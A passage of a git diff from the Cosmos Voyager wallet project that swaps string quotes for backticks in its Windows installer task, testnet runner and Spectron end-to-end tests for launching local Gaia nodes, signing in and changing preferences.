clearTimeout(wait) await cleanExitChild(child) resolve() @@ -28,7 +28,7 @@ function test(executablePath) { }, 5000) } catch (err) { if (child) await cleanExitChild(child) - console.error("Unexpected error", err) + console.error(`Unexpected error`, err) reject(err) } }) @@ -39,13 +39,13 @@ async function main() { if (!executablePath) { console.error( - '\nPlease define the executable you want to test like "yarn run test:exe ./Cosmos Voyager.exe"\n' + `\nPlease define the executable you want to test like "yarn run test:exe ./Cosmos Voyager.exe"\n` ) process.exit(-1) } await test(executablePath) - .then(() => console.log(executablePath, "starts as expected")) - .catch(() => console.error(executablePath, "did not start as expected")) + .then(() => console.log(executablePath, `starts as expected`)) + .catch(() => console.error(executablePath, `did not start as expected`)) } main() diff --git a/tasks/testnet.js b/tasks/testnet.js index b14835d90d..dde0ccd5a2 100644 --- a/tasks/testnet.js +++ b/tasks/testnet.js @@ -1,5 +1,5 @@ -let runDev = require("./runner.js") -let config = require("../app/src/config.js") +let runDev = require(`./runner.js`) +let config = require(`../app/src/config.js`) async function main() { const network = process.argv[2] || config.default_network @@ -9,5 +9,5 @@ async function main() { } main().catch(function(err) { - console.error("Starting the application failed", err) + console.error(`Starting the application failed`, err) }) diff --git a/tasks/windows-installer.js b/tasks/windows-installer.js index aaf3c3c29d..ab8890fddf 100644 --- a/tasks/windows-installer.js +++ b/tasks/windows-installer.js @@ -1,20 +1,20 @@ -var electronInstaller = require("electron-winstaller") -var { author, version } = require("../package.json") +var electronInstaller = require(`electron-winstaller`) +var { author, version } = require(`../package.json`) // Installer is customizable: https://github.com/electron/windows-installer let resultPromise = electronInstaller.createWindowsInstaller({ - appDirectory: "./builds/cosmos-voyager-win32-x64", - outputDirectory: "./builds/cosmos/cosmos-voyager-win32", - title: "Cosmos Voyager", + appDirectory: `./builds/cosmos-voyager-win32-x64`, + outputDirectory: `./builds/cosmos/cosmos-voyager-win32`, + title: `Cosmos Voyager`, authors: author, - exe: "Cosmos Voyager.exe", + exe: `Cosmos Voyager.exe`, setupExe: `Cosmos-Voyager-Setup-v${version}.exe`, - iconUrl: "https://github.com/cosmos/voyager/raw/develop/app/icons/icon.ico", - setupIcon: "./app/icons/icon.ico", + iconUrl: `https://github.com/cosmos/voyager/raw/develop/app/icons/icon.ico`, + setupIcon: `./app/icons/icon.ico`, noMsi: true }) return resultPromise.then( - () => console.log("It worked!"), + () => console.log(`It worked!`), e => console.log(`No dice: ${e.message}`) ) diff --git a/test/e2e/common.js b/test/e2e/common.js index 02656ad2c4..c1ffd3730c 100644 --- a/test/e2e/common.js +++ b/test/e2e/common.js @@ -16,40 +16,40 @@ module.exports = { } }, async openMenu(app) { - console.log("opening menu") - if (await app.client.isExisting(".app-menu")) { + console.log(`opening menu`) + if (await app.client.isExisting(`.app-menu`)) { return } await module.exports.closeNotifications(app) - await app.client.waitForExist(".material-icons=menu", 1000) + await app.client.waitForExist(`.material-icons=menu`, 1000) await sleep(100) - await app.client.$(".material-icons=menu").click() - await app.client.waitForExist(".app-menu", 1000) + await app.client.$(`.material-icons=menu`).click() + await app.client.waitForExist(`.app-menu`, 1000) }, async closeMenu(app) { - console.log("closing menu") + console.log(`closing menu`) // the menu is always open on desktop - if (!(await app.client.isExisting("#app-header.mobile"))) { + if (!(await app.client.isExisting(`#app-header.mobile`))) { return } // check if menu is actually open - if (!(await app.client.isExisting(".app-menu"))) { + if (!(await app.client.isExisting(`.app-menu`))) { return } // close notifications that could block the click await module.exports.closeNotifications(app) - await app.client.waitForExist(".material-icons=close", 1000) + await app.client.waitForExist(`.material-icons=close`, 1000) await sleep(100) - await app.client.$(".material-icons=close").click() - await app.client.waitForExist(".app-menu", 1000, true) - console.log("closed menu") + await app.client.$(`.material-icons=close`).click() + await app.client.waitForExist(`.app-menu`, 1000, true) + console.log(`closed menu`) }, async navigate(app, linkText, titleText = linkText) { await module.exports.openMenu(app) // click link await app.client.$(`a*=${linkText}`).click() try { - await app.client.waitUntilTextExists(".tm-page-header-title", titleText) + await app.client.waitUntilTextExists(`.tm-page-header-title`, titleText) } catch (error) { // if .tm-page-header-title doeesn't exist with titleText it may be using // the new UI. if that's the case it should use a data-title parameter @@ -71,7 +71,7 @@ module.exports = { if (Date.now() - start >= timeout) { throw Error( `Timed out waiting for text. Expected ${text}, Showing ${(await elGetterFn().getText()) || - "nothing"}` + `nothing`}` ) } await sleep(100) @@ -83,7 +83,7 @@ module.exports = { if (Date.now() - start >= timeout) { throw Error( `Timed out waiting for value. Expected ${value}, Showing ${(await elGetterFn().getValue()) || - "nothing"}` + `nothing`}` ) } await sleep(100) @@ -91,48 +91,48 @@ module.exports = { return true }, - async login(app, account = "default") { - console.log("logging into " + account) - let accountsSelect = "#sign-in-name select" + async login(app, account = `default`) { + console.log(`logging into ` + account) + let accountsSelect = `#sign-in-name select` await app.client.waitForExist(accountsSelect, 10000) // in mocked mode, the password is already set and selectOption presses enter resulting in logging, which we don't want to keep the process the same as in live mode - await app.client.$("#sign-in-password").click() - await app.client.keys(["___"]) + await app.client.$(`#sign-in-password`).click() + await app.client.keys([`___`]) await module.exports.selectOption(app, accountsSelect, account) - await app.client.$("#sign-in-password").setValue("1234567890") - await app.client.$(".tm-session-footer button").click() + await app.client.$(`#sign-in-password`).setValue(`1234567890`) + await app.client.$(`.tm-session-footer button`).click() - await app.client.waitForExist("#app-content", 10000) + await app.client.waitForExist(`#app-content`, 10000) // checking if user is logged in await module.exports.openMenu(app) - let activeUser = await app.client.$(".tm-li-user .tm-li-subtitle").getText() + let activeUser = await app.client.$(`.tm-li-user .tm-li-subtitle`).getText() if (account !== activeUser) { throw new Error( - "Incorrect user logged in (" + account + ", " + activeUser + ")" + `Incorrect user logged in (` + account + `, ` + activeUser + `)` ) } - console.log("logged in") + console.log(`logged in`) await module.exports.closeMenu(app) }, async logout(app) { - console.log("logging out") - if (await app.client.isExisting(".tm-li-session")) { + console.log(`logging out`) + if (await app.client.isExisting(`.tm-li-session`)) { return } await module.exports.openMenu(app) - await app.client.$(".tm-li-user").click() + await app.client.$(`.tm-li-user`).click() await sleep(300) await app.client - .$(".material-icons=exit_to_app") - .$("..") + .$(`.material-icons=exit_to_app`) + .$(`..`) .click() }, async selectOption(app, selectSelector, text) { @@ -142,6 +142,6 @@ module.exports = { await app.client.keys(letter) } // defocus select to close selection - await app.client.$("body").click() + await app.client.$(`body`).click() } } diff --git a/test/e2e/init.js b/test/e2e/init.js index 2d852bd19a..4a68215f9c 100644 --- a/test/e2e/init.js +++ b/test/e2e/init.js @@ -1,13 +1,13 @@ -let test = require("tape-promise/tape") -let fs = require("fs-extra") -let { join } = require("path") -let { getApp, startApp, stop } = require("./launch.js") +let test = require(`tape-promise/tape`) +let fs = require(`fs-extra`) +let { join } = require(`path`) +let { getApp, startApp, stop } = require(`./launch.js`) // tests for initialization and failover over the application as well as handling of configuration files -test("initialization", async function(t) { +test(`initialization`, async function(t) { let { app, cliHome } = await getApp(t) - t.test("survive config folder mess up", async function(t) { + t.test(`survive config folder mess up`, async function(t) { // TODO: uncomment below once we restore initting // accept node hash @@ -20,11 +20,11 @@ test("initialization", async function(t) { // test if app restores from unitialized gaia folder await stop(app) - fs.moveSync(join(cliHome, "lcd/keys"), "./testArtifacts/oldKeys") + fs.moveSync(join(cliHome, `lcd/keys`), `./testArtifacts/oldKeys`) fs.removeSync(cliHome) await startApp(app) - t.ok(app.isRunning(), "app recovers from uninitialized gaia") + t.ok(app.isRunning(), `app recovers from uninitialized gaia`) // accept node hash // await app.client.$("#tm-modal-lcd-approval__btn-approve").click() @@ -37,8 +37,8 @@ test("initialization", async function(t) { await stop(app) // we are prior removing the config folder with the keys so we need to restore the default accounts we communicating from launch.js - fs.removeSync(join(cliHome, "lcd/keys")) - fs.moveSync("./testArtifacts/oldKeys", join(cliHome, "lcd/keys")) + fs.removeSync(join(cliHome, `lcd/keys`)) + fs.moveSync(`./testArtifacts/oldKeys`, join(cliHome, `lcd/keys`)) t.end() }) diff --git a/test/e2e/launch.js b/test/e2e/launch.js index 5b777d4167..bbcf22cf39 100644 --- a/test/e2e/launch.js +++ b/test/e2e/launch.js @@ -1,35 +1,35 @@ "use strict" -let { Application } = require("spectron") -let test = require("tape-promise/tape") -let electron = require("electron") -let { join } = require("path") -let { spawn } = require("child_process") -const util = require("util") -const exec = util.promisify(require("child_process").exec) -let fs = require("fs-extra") +let { Application } = require(`spectron`) +let test = require(`tape-promise/tape`) +let electron = require(`electron`) +let { join } = require(`path`) +let { spawn } = require(`child_process`) +const util = require(`util`) +const exec = util.promisify(require(`child_process`).exec) +let fs = require(`fs-extra`) -const testDir = join(__dirname, "../../testArtifacts") +const testDir = join(__dirname, `../../testArtifacts`) let app, cliHome, nodeHome, started, crashed const osFolderName = (function() { switch (process.platform) { - case "win32": - return "windows_amd64" - case "darwin": - return "darwin_amd64" - case "linux": - return "linux_amd64" + case `win32`: + return `windows_amd64` + case `darwin`: + return `darwin_amd64` + case `linux`: + return `linux_amd64` } })() let binary = process.env.BINARY_PATH || - join(__dirname, "../../builds/Gaia/", osFolderName, "gaiacli") + join(__dirname, `../../builds/Gaia/`, osFolderName, `gaiacli`) let nodeBinary = process.env.NODE_BINARY_PATH || - join(__dirname, "../../builds/Gaia/", osFolderName, "gaiad") + join(__dirname, `../../builds/Gaia/`, osFolderName, `gaiad`) /* * NOTE: don't use a global `let client = app.client` as the client object changes when restarting the app @@ -38,25 +38,25 @@ let nodeBinary = function launch(t) { if (!started) { // tape doesn't exit properly on uncaught promise rejections - process.on("unhandledRejection", async error => { + process.on(`unhandledRejection`, async error => { return handleCrash(app, error) }) started = new Promise(async resolve => { - console.log("using cli binary", binary) - console.log("using node binary", nodeBinary) + console.log(`using cli binary`, binary) + console.log(`using node binary`, nodeBinary) - cliHome = join(testDir, "cli_home") - nodeHome = join(testDir, "node_home") + cliHome = join(testDir, `cli_home`) + nodeHome = join(testDir, `node_home`) console.error(`ui home: ${cliHome}`) console.error(`node home: ${nodeHome}`) - fs.removeSync("testArtifacts") + fs.removeSync(`testArtifacts`) // setup first node const initValues = await initLocalNode(1) - const nodeOneHome = nodeHome + "_1" - let genesis = fs.readJSONSync(join(nodeOneHome, "config/genesis.json")) + const nodeOneHome = nodeHome + `_1` + let genesis = fs.readJSONSync(join(nodeOneHome, `config/genesis.json`)) const nodeOneId = await getNodeId(nodeOneHome) reduceTimeouts(nodeOneHome) disableStrictAddressbook(nodeOneHome) @@ -67,8 +67,8 @@ function launch(t) { // we need to write back the updated genesis writeGenesis(genesis, nodeOneHome) - writeGenesis(genesis, nodeHome + "_2") - writeGenesis(genesis, nodeHome + "_3") + writeGenesis(genesis, nodeHome + `_2`) + writeGenesis(genesis, nodeHome + `_3`) // wait until all nodes are showing blocks, so we know they are running await Promise.all([ @@ -77,24 +77,24 @@ function launch(t) { startLocalNode(3, nodeOneId) ]) console.log(`Started local nodes.`) - await saveVersion(nodeHome + "_1") + await saveVersion(nodeHome + `_1`) app = new Application({ path: electron, args: [ - join(__dirname, "../../app/dist/main.js"), - "--disable-gpu", - "--no-sandbox" + join(__dirname, `../../app/dist/main.js`), + `--disable-gpu`, + `--no-sandbox` ], startTimeout: 10000, waitTimeout: 10000, env: { - COSMOS_NODE: "localhost", - NODE_ENV: "production", - PREVIEW: "true", + COSMOS_NODE: `localhost`, + NODE_ENV: `production`, + PREVIEW: `true`, COSMOS_DEVTOOLS: 0, // open devtools will cause issues with spectron, you can open them later manually COSMOS_HOME: cliHome, - COSMOS_NETWORK: join(nodeHome + "_1", "config"), + COSMOS_NETWORK: join(nodeHome + `_1`, `config`), COSMOS_MOCKED: false, // the e2e tests expect mocking to be switched off BINARY_PATH: binary } @@ -105,13 +105,13 @@ function launch(t) { let accounts = await setupAccounts(initValues) - await startApp(app, ".tm-session-title=Sign In") - t.ok(app.isRunning(), "app is running") + await startApp(app, `.tm-session-title=Sign In`) + t.ok(app.isRunning(), `app is running`) // disable the onboarding wizard - await app.client.localStorage("POST", { - key: "appOnboardingActive", - value: "false" + await app.client.localStorage(`POST`, { + key: `appOnboardingActive`, + value: `false` }) resolve({ @@ -126,7 +126,7 @@ function launch(t) { } test.onFinish(async () => { - console.log("DONE: cleaning up") + console.log(`DONE: cleaning up`) await stop(app) // tape doesn't finish properly because of open processes like gaia process.exit(0) @@ -135,29 +135,29 @@ test.onFinish(async () => { async function setupAccounts(initValues) { let accounts = [] // testkey account needs to match genesis to own tokens for testing - accounts.push(await createAccount("testkey", initValues.app_message.secret)) - accounts.push(await createAccount("testreceiver")) - console.log("setup test accounts", accounts) + accounts.push(await createAccount(`testkey`, initValues.app_message.secret)) + accounts.push(await createAccount(`testreceiver`)) + console.log(`setup test accounts`, accounts) return accounts } async function stop(app) { - console.log("Stopping app") + console.log(`Stopping app`) if (app && app.isRunning()) { if (process.env.CI) { // we need to collect the app process output as it will be reset when the app is stopped - console.log("collecting app logs") + console.log(`collecting app logs`) await writeLogs(app, testDir) } await app.stop() } - console.log("App stopped") + console.log(`App stopped`) } async function printAppLog(app) { if (!app) { - console.log("Not printing logs as app has not started yet") + console.log(`Not printing logs as app has not started yet`) return } @@ -170,14 +170,14 @@ async function printAppLog(app) { }) await app.client.getRenderProcessLogs().then(function(logs) { logs.forEach(function(log) { - console.log(log.message.replace("\\n", "\n")) + console.log(log.message.replace(`\\n`, `\n`)) }) }) } async function writeLogs(app, location) { - const mainProcessLogLocation = join(location, "main-process.log") - const rendererProcessLogLocation = join(location, "renderer-process.log") + const mainProcessLogLocation = join(location, `main-process.log`) + const rendererProcessLogLocation = join(location, `renderer-process.log`) fs.ensureFileSync(mainProcessLogLocation) fs.ensureFileSync(rendererProcessLogLocation) @@ -185,25 +185,25 @@ async function writeLogs(app, location) { log => !/CONSOLE\(/g.test(log) ) // ignore renderer process output, which is also written to main process logs const rendererProcessLogs = await app.client.getRenderProcessLogs() - fs.appendFileSync(mainProcessLogLocation, mainProcessLogs.join("\n"), "utf8") + fs.appendFileSync(mainProcessLogLocation, mainProcessLogs.join(`\n`), `utf8`) fs.appendFileSync( rendererProcessLogLocation, - rendererProcessLogs.map(log => log.message).join("\n"), - "utf8" + rendererProcessLogs.map(log => log.message).join(`\n`), + `utf8` ) - console.log("Wrote main process log to", mainProcessLogLocation) - console.log("Wrote renderer process log to", rendererProcessLogLocation) + console.log(`Wrote main process log to`, mainProcessLogLocation) + console.log(`Wrote renderer process log to`, rendererProcessLogLocation) } -async function startApp(app, awaitingSelector = ".tm-session") { - console.log("Starting app") +async function startApp(app, awaitingSelector = `.tm-session`) { + console.log(`Starting app`) await app.start() await app.client.waitForExist(awaitingSelector, 10 * 1000).catch(async e => { await handleCrash(app, e) throw e }) - console.log("Started app") + console.log(`Started app`) } async function handleCrash(app, error) { @@ -213,7 +213,7 @@ async function handleCrash(app, error) { } crashed = true - console.error("-- App crashed --") + console.error(`-- App crashed --`) console.error(error) // show or persist logs @@ -225,9 +225,9 @@ async function handleCrash(app, error) { // save a screenshot if (app && app.browserWindow) { - const screenshotLocation = join(testDir, "snapshot.png") + const screenshotLocation = join(testDir, `snapshot.png`) await app.browserWindow.capturePage().then(function(imageBuffer) { - console.log("saving screenshot to ", screenshotLocation) + console.log(`saving screenshot to `, screenshotLocation) fs.writeFileSync(screenshotLocation, imageBuffer) }) } @@ -242,7 +242,7 @@ async function handleCrash(app, error) { // start a node and connect it to nodeOne // nodeOne is used as a persistent peer for all the other nodes // wait for blocks to show as a proof, the node is running correctly -function startLocalNode(number, nodeOneId = "") { +function startLocalNode(number, nodeOneId = ``) { return new Promise((resolve, reject) => { const defaultStartPort = 26656 const thisNodeHome = `${nodeHome}_${number}` @@ -259,10 +259,10 @@ function startLocalNode(number, nodeOneId = "") { const localnodeProcess = spawn(command, { shell: true }) // log output for debugging - const logPath = join(thisNodeHome, "process.log") - console.log("Redirecting node " + number + " output to " + logPath) + const logPath = join(thisNodeHome, `process.log`) + console.log(`Redirecting node ` + number + ` output to ` + logPath) fs.createFileSync(logPath) - let logStream = fs.createWriteStream(logPath, { flags: "a" }) + let logStream = fs.createWriteStream(logPath, { flags: `a` }) localnodeProcess.stdout.pipe(logStream) localnodeProcess.stderr.pipe(process.stderr) @@ -271,21 +271,21 @@ function startLocalNode(number, nodeOneId = "") { function listener(data) { let msg = data.toString() - if (msg.includes("Block{")) { - localnodeProcess.stdout.removeListener("data", listener) - console.log("Node " + number + " is running") + if (msg.includes(`Block{`)) { + localnodeProcess.stdout.removeListener(`data`, listener) + console.log(`Node ` + number + ` is running`) resolve() } - if (msg.includes("Failed") || msg.includes("Error")) { + if (msg.includes(`Failed`) || msg.includes(`Error`)) { reject(msg) } } - console.log("Waiting for first block on node " + number) - localnodeProcess.stdout.on("data", listener) + console.log(`Waiting for first block on node ` + number) + localnodeProcess.stdout.on(`data`, listener) - localnodeProcess.once("exit", reject) + localnodeProcess.once(`exit`, reject) }) } @@ -296,25 +296,25 @@ function initLocalNode(number = 1) { const localnodeProcess = spawn(command, { shell: true }) localnodeProcess.stderr.pipe(process.stderr) - localnodeProcess.stdin.write("12345678\n") + localnodeProcess.stdin.write(`12345678\n`) - localnodeProcess.stdout.once("data", data => { + localnodeProcess.stdout.once(`data`, data => { let msg = data.toString() - if (!msg.includes("Failed") && !msg.includes("Error")) { + if (!msg.includes(`Failed`) && !msg.includes(`Error`)) { resolve(JSON.parse(msg)) } else { reject(msg) } }) - localnodeProcess.once("exit", reject) + localnodeProcess.once(`exit`, reject) }) } // init a node and define it as a validator async function addValidatorNode(number, genesis) { - let newNodeHome = nodeHome + "_" + number + let newNodeHome = nodeHome + `_` + number await initLocalNode(number) @@ -337,13 +337,13 @@ async function getNodeId(node_home) { function getValidatorPublicKey(node_home) { let privValidatorKeys = fs.readJSONSync( - join(node_home, "config/priv_validator.json") + join(node_home, `config/priv_validator.json`) ) return privValidatorKeys.pub_key } function getValidatorOwner(node_home) { - let genesis = fs.readJSONSync(join(node_home, "config/genesis.json")) + let genesis = fs.readJSONSync(join(node_home, `config/genesis.json`)) return genesis.app_state.stake.validators[0].owner } @@ -351,82 +351,82 @@ function getValidatorOwner(node_home) { function addValidator(genesis, pub_key, owner, number) { genesis.validators.push({ pub_key, - power: "50", - name: "" + power: `50`, + name: `` }) let newStakeValidator = JSON.parse( JSON.stringify(genesis.app_state.stake.validators[0]) ) newStakeValidator.pub_key = pub_key newStakeValidator.owner = owner - newStakeValidator.tokens = "50" - newStakeValidator.delegator_shares = "50" - newStakeValidator.description.moniker = "local_" + number + newStakeValidator.tokens = `50` + newStakeValidator.delegator_shares = `50` + newStakeValidator.description.moniker = `local_` + number genesis.app_state.stake.validators.push(newStakeValidator) genesis.app_state.stake.pool.loose_tokens += 50 } function writeGenesis(genesis, node_home) { - fs.writeJSONSync(join(node_home, "config/genesis.json"), genesis) + fs.writeJSONSync(join(node_home, `config/genesis.json`), genesis) } function reduceTimeouts(nodeHome) { - const configPath = join(nodeHome, "config", "config.toml") - let configToml = fs.readFileSync(configPath, "utf8") + const configPath = join(nodeHome, `config`, `config.toml`) + let configToml = fs.readFileSync(configPath, `utf8`) const timeouts = [ - "timeout_propose", - "timeout_propose_delta", - "timeout_prevote", - "timeout_prevote_delta", - "timeout_precommit", - "timeout_precommit_delta", - "timeout_commit", - "flush_throttle_timeout" + `timeout_propose`, + `timeout_propose_delta`, + `timeout_prevote`, + `timeout_prevote_delta`, + `timeout_precommit`, + `timeout_precommit_delta`, + `timeout_commit`, + `flush_throttle_timeout` ] const updatedConfigToml = configToml - .split("\n") + .split(`\n`) .map(line => { - let [key, value] = line.split(" = ") + let [key, value] = line.split(` = `) if (timeouts.indexOf(key) !== -1) { return `${key} = ${parseInt(value) / 50}` } return line }) - .join("\n") + .join(`\n`) - fs.writeFileSync(configPath, updatedConfigToml, "utf8") + fs.writeFileSync(configPath, updatedConfigToml, `utf8`) } function disableStrictAddressbook(nodeHome) { - const configPath = join(nodeHome, "config", "config.toml") - let configToml = fs.readFileSync(configPath, "utf8") + const configPath = join(nodeHome, `config`, `config.toml`) + let configToml = fs.readFileSync(configPath, `utf8`) const updatedConfigToml = configToml - .split("\n") + .split(`\n`) .map(line => { - if (line.startsWith("addr_book_strict")) return "addr_book_strict = false" + if (line.startsWith(`addr_book_strict`)) return `addr_book_strict = false` return line }) - .join("\n") + .join(`\n`) - fs.writeFileSync(configPath, updatedConfigToml, "utf8") + fs.writeFileSync(configPath, updatedConfigToml, `utf8`) } // save the version of the currently used gaia into the newly created network config folder function saveVersion(nodeHome) { return new Promise((resolve, reject) => { - let versionFilePath = join(nodeHome, "config", "gaiaversion.txt") // nodeHome/config is used to copy created config files from, therefor we copy the version file in there + let versionFilePath = join(nodeHome, `config`, `gaiaversion.txt`) // nodeHome/config is used to copy created config files from, therefor we copy the version file in there const command = `${nodeBinary} version` - console.log(command, ">", versionFilePath) + console.log(command, `>`, versionFilePath) let child = spawn(command, { shell: true }) child.stderr.pipe(process.stderr) - child.stdout.once("data", data => { + child.stdout.once(`data`, data => { let msg = data.toString() - if (!msg.includes("Failed") && !msg.includes("Error")) { + if (!msg.includes(`Failed`) && !msg.includes(`Error`)) { fs.ensureFileSync(versionFilePath) - fs.writeFileSync(versionFilePath, msg, "utf8") + fs.writeFileSync(versionFilePath, msg, `utf8`) resolve() } else { reject(msg) @@ -440,29 +440,29 @@ function createAccount(name, seed) { let child = spawn( binary, [ - "keys", - "add", + `keys`, + `add`, name, - seed ? "--recover" : null, - "--home", - join(cliHome, "lcd"), - "--output", - "json" + seed ? `--recover` : null, + `--home`, + join(cliHome, `lcd`), + `--output`, + `json` ].filter(x => x !== null) ) - child.stdout.once("data", data => { + child.stdout.once(`data`, data => { let msg = data.toString() - if (msg.startsWith("{")) { + if (msg.startsWith(`{`)) { resolve(JSON.parse(msg)) } }) - child.stdin.write("1234567890\n") - seed && child.stdin.write(seed + "\n") + child.stdin.write(`1234567890\n`) + seed && child.stdin.write(seed + `\n`) child.stderr.pipe(process.stdout) - child.once("exit", code => { + child.once(`exit`, code => { if (code !== 0) reject() }) }) @@ -470,17 +470,17 @@ function createAccount(name, seed) { module.exports = { getApp: launch, - restart: async function(app, awaitingSelector = ".tm-session-title=Sign In") { - console.log("restarting app") + restart: async function(app, awaitingSelector = `.tm-session-title=Sign In`) { + console.log(`restarting app`) await stop(app) await startApp(app, awaitingSelector) }, - refresh: async function(app, awaitingSelector = ".tm-session-title=Sign In") { - console.log("refreshing app") + refresh: async function(app, awaitingSelector = `.tm-session-title=Sign In`) { + console.log(`refreshing app`) if (app && app.isRunning()) { if (process.env.CI) { // we need to collect the app process output as it will be reset when the app is stopped - console.log("collecting app logs") + console.log(`collecting app logs`) await writeLogs(app, testDir) } } diff --git a/test/e2e/preferences.js b/test/e2e/preferences.js index 83472ea9fb..c9392fd958 100644 --- a/test/e2e/preferences.js +++ b/test/e2e/preferences.js @@ -1,48 +1,48 @@ -let test = require("tape-promise/tape") -let { getApp, restart } = require("./launch.js") +let test = require(`tape-promise/tape`) +let { getApp, restart } = require(`./launch.js`) let { navigateToPreferences, sleep, login, selectOption -} = require("./common.js") +} = require(`./common.js`) /* * NOTE: don't use a global `let client = app.client` as the client object changes when restarting the app */ -test("preferences", async function(t) { +test(`preferences`, async function(t) { let { app } = await getApp(t) await restart(app) let $ = (...args) => app.client.$(...args) - await login(app, "testkey") + await login(app, `testkey`) - t.test("change", async function(t) { + t.test(`change`, async function(t) { await navigateToPreferences(app) //should click preferences link with username - let networkSelect = () => $("#select-network select") + let networkSelect = () => $(`#select-network select`) - t.test("default network", async function(t) { + t.test(`default network`, async function(t) { let option = await networkSelect().getValue() - t.equal(option.toString(), "live", "Live Testnet is correct") + t.equal(option.toString(), `live`, `Live Testnet is correct`) t.end() }) - t.test("mock network", async function(t) { - await selectOption(app, "#select-network select", "mock") - await app.client.waitForVisible(".tm-session-wrapper", 5000) + t.test(`mock network`, async function(t) { + await selectOption(app, `#select-network select`, `mock`) + await app.client.waitForVisible(`.tm-session-wrapper`, 5000) - await login(app, "default") + await login(app, `default`) await navigateToPreferences(app) //should click preferences link with username await sleep(1000) let network = await app.client - .$("#tm-connected-network__string") + .$(`#tm-connected-network__string`) .getHTML() t.ok( - network.indexOf("offline demo") !== -1, - "network indicator shows 'offline demo'" + network.indexOf(`offline demo`) !== -1, + `network indicator shows 'offline demo'` ) t.end() diff --git a/test/e2e/signin.js b/test/e2e/signin.js index 2abc318fc1..acd1b053bc 100644 --- a/test/e2e/signin.js +++ b/test/e2e/signin.js @@ -1,6 +1,6 @@ -let test = require("tape-promise/tape") -let { getApp, refresh } = require("./launch.js") -let { openMenu, login, sleep } = require("./common.js") +let test = require(`tape-promise/tape`) +let { getApp, refresh } = require(`./launch.js`) +let { openMenu, login, sleep } = require(`./common.js`) /* * NOTE: For some strange reason element.click() does not always work. In some cases I needed to use client.leftClick(selector). But this will be deprecated and pollutes the console with a deprecation warning. @@ -10,302 +10,302 @@ let { openMenu, login, sleep } = require("./common.js") * NOTE: don't use a global `let client = app.client` as the client object changes when restarting the app */ -test("sign in", async function(t) { +test(`sign in`, async function(t) { let { app } = await getApp(t) await refresh(app) let el = (...args) => app.client.$(...args) // clicking the button does fail in webdriver as there is no actual click handler on the button async function clickContinue() { - return app.client.submitForm(".tm-session form") + return app.client.submitForm(`.tm-session form`) } - t.test("signup", async function(t) { - await app.client.waitForExist(".tm-session-title=Sign In", 10000) + t.test(`signup`, async function(t) { + await app.client.waitForExist(`.tm-session-title=Sign In`, 10000) // go to login selection await app.client - .$("i=arrow_back") - .$("..") + .$(`i=arrow_back`) + .$(`..`) .click() - await app.client.waitForExist(".tm-li-session", 1000) + await app.client.waitForExist(`.tm-li-session`, 1000) // go to new account await app.client - .$(".tm-li-session-title=Create new account") - .$("..") - .$("..") + .$(`.tm-li-session-title=Create new account`) + .$(`..`) + .$(`..`) .click() await sleep(500) // circleci error where the checkbox somehow isn't ready to be clicked yet - let accountName = () => el("#sign-up-name") - let password = () => el("#sign-up-password") - let passwordConfirm = () => el("#sign-up-password-confirm") - let warning = () => el("#sign-up-warning") + let accountName = () => el(`#sign-up-name`) + let password = () => el(`#sign-up-password`) + let passwordConfirm = () => el(`#sign-up-password-confirm`) + let warning = () => el(`#sign-up-warning`) - t.test("did check warning", async function(t) { + t.test(`did check warning`, async function(t) { await clickContinue() t.ok( await warning() - .$("..") - .$("..") - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .$(`..`) + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await warning().click() t.ok( !(await warning() - .$("..") - .$("..") - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .$(`..`) + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("set account name", async function(t) { + t.test(`set account name`, async function(t) { await clickContinue() t.ok( await accountName() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) - await app.client.leftClick("#sign-up-name") - await app.client.keys("sign".split()) + await app.client.leftClick(`#sign-up-name`) + await app.client.keys(`sign`.split()) t.ok( await accountName() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error for too few letters" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error for too few letters` ) - await app.client.leftClick("#sign-up-name") - await app.client.keys("in_test".split()) + await app.client.leftClick(`#sign-up-name`) + await app.client.keys(`in_test`.split()) t.ok( !(await accountName() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("set password", async function(t) { + t.test(`set password`, async function(t) { await clickContinue() t.ok( await password() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await password().click() - await app.client.keys("1234".split()) + await app.client.keys(`1234`.split()) t.ok( await password() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error for too few letters" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error for too few letters` ) await password().click() - await app.client.keys("567890".split()) + await app.client.keys(`567890`.split()) t.ok( !(await password() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("confirm password", async function(t) { + t.test(`confirm password`, async function(t) { await clickContinue() t.ok( await passwordConfirm() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await passwordConfirm().click() - await app.client.keys("1234".split()) + await app.client.keys(`1234`.split()) t.ok( await passwordConfirm() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error for not matching passwords" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error for not matching passwords` ) await passwordConfirm().click() - await app.client.keys("567890".split()) + await app.client.keys(`567890`.split()) t.ok( !(await passwordConfirm() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("logs in", async function(t) { + t.test(`logs in`, async function(t) { await clickContinue() // checking if user is logged in - await app.client.waitForExist("#app-content", 10000) + await app.client.waitForExist(`#app-content`, 10000) await openMenu(app) let activeUser = await app.client - .$(".tm-li-user .tm-li-subtitle") + .$(`.tm-li-user .tm-li-subtitle`) .getText() - t.ok(activeUser === "signin_test", "user is logged in") + t.ok(activeUser === `signin_test`, `user is logged in`) t.end() }) t.end() }) - t.test("sign out", async function(t) { + t.test(`sign out`, async function(t) { await refresh(app) - await login(app, "testkey") - await app.client.waitForExist("#signOut-btn", 1000) - await 